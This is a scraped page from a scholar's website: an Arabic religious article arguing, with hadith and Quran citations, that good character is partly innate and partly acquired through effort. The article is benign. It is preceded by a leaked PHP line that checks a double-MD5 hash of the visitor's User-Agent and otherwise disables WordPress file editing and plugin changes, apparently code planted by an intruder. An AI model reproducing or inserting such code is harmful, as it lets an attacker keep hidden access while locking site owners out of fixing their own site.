if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } هل الأخلاق مما جُبل عليه الناس أو مما يُكتسب؟ - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

هل الأخلاق مما جُبل عليه الناس أو مما يُكتسب؟

هل هذه الأخلاق مما جُبل عليه الناس أو مما يُكتسب أو هما معًا؟ نقول: نعم، هما معًا.

فبعض الناس جُبل على أحسن الأخلاق ومكارمها من الشجاعة، والكرم، والحلم، والصدق، والله جل شأنه هذَّبه ورباه هكذا، وهذا فضل ومنحة ولهذا الاشج لما أثنى عليه النبي صلى الله عليه وسلم وقال: «إنَّ فيك خَصلتيْنِ يُحبُّهُما الله: الحِلمُ والأَناةُ، قال يا رسولَ اللهِ: أنا أتخلَّقُ بهما أمِ اللهُ جَبَلَني عليهما؟ قال: بلِ اللهُ جَبَلَك عليهما، قال: الحمدُ للهِ الذي جَبَلَني على خَلَّتيْنِ يُحبُّهُما اللهُ ورسولُهُ»[1].

لكن نقول قد يكون الإنسان عنده طباع سيئة وأخلاق رديئة، فهل يستسلم لها؟ نقول: لا، فالأخلاق كما أنها توهب تكتسب، ولهذا نقول: اجتهد في تهذيب أخلاقك وطباعك وتأدب بآداب الشرع وجاهد نفسك، والذي يدل على ذلك قول النبي صلى الله عليه وسلم: «إنَّما العِلمُ بالتَّعلُّمِ، والحِلمُ بالتحلُّم»[2] وقوله صلى الله عليه وسلم لمن سأله وطلب منه وصية قال: «لا تَغضَب، فأعاد عليه حتى أعاد عليه مرارًا وكلُّ ذلِك يقولُ  لا تغضَبْ»[3]، هل معنى هذا أنه لا يكون هناك غضب؟ لا، هو يقول لا تنفذ ما يمليه عليك غضبك بل جاهد نفسك على الهدوء وسكينة النفس، وطنها على التحمل، هذا معنى لا تغضب وإلا فإن الغضب قد يكون جِبلي، قد يقول الإنسان أنا طبعي هكذا لكن هل تستسلم لهذا الطبع؟ بل نقول: الأنبياء والمرسلون والكتب التي أنزلها الله، إنما أرسل الرسل وأنزل الكتب ليهذب طباع الناس، أولًا: في ترك الشرك وعبادة الله التي لأجلها خلق الخلق ثم الالتزام بتعليمات الشرع في عباداتهم ومعاملاتهم وأخلاقهم وآدابهم، فلا يحتج أحد بأن هذا طبعي أو أن هذه الخصلة عندي ورثتها عن آبائي وأجدادي بل جاهد نفسك أن تكسب الخلق، وإذا كان الله يقول لنبيه المصطفى ورسوله المجتبى {وَلَوْ كُنْتَ فَظًّا غَلِيظَ الْقَلْبِ لَانْفَضُّوا مِنْ حَوْلِكَ} [آل عمران: ١٥٩]، فما بالك بعامة الناس، إذا كان النبي صلى الله عليه وسلم معه وحيٌ يؤيد والذين معه يعلمون صدقه وأنه رسول مصطفى ومع ذلك يأمره الله بلين الجانب لأصحابه ومن معه ويخبره أنه لو كان فظًا غليظ القلب لانفضوا؛ إذن أنا وأنت والثاني والثالث من الدعاة، من طلاب العلم، من الآباء، من الأخوة الكبار، إذا كنا نغلظ على الناس وننفرهم ثق تمام الثقة أنهم لن يستجيبوا ومن استجاب فهم الأقل، بل عندنا في الكتاب العزيز أن الله جل شأنه لما بعث نبيه موسى وجعل معه وزيرًا من أهله هو هارون وأرسله إلى أكفر أهل الأرض من ادعى الألوهية والربوبية يقول:  {أَنَا رَبُّكُمُ الْأَعْلَى} [النازعات: ٢٤]، ويقول: {مَا عَلِمْتُ لَكُمْ مِنْ إِلَهٍ غَيْرِي} [القصص: ٣٨]، ومع ذلك يقول الله لنبيه موسى ولأخيه هارون: {فَقُولَا لَهُ قَوْلًا لَيِّنًا} [طه: ٤٤]، فدل على عظم شأن الأدب وأنه يحسن بالمسلم أن يتأدب وأن يجاهد نفسه على كسب الأخلاق وأن يهذب طبعه.

 



[1] أخرجه مسلم (17) مختصرًا.

[2] أخرجه البخاري معلقًا مختصرًا قبل حديث (68)، وأخرجه موصولًا ابن أبي الدنيا في «الحلم» (ص20)، والخطيب في «تاريخ بغداد» (9/127) مطولًا.

[3] أخرجه أحمد (16006)، وابن حبان (5689)، والطبراني (2/261) (2093) وصححه الوادعي في الصحيح المسند (1513).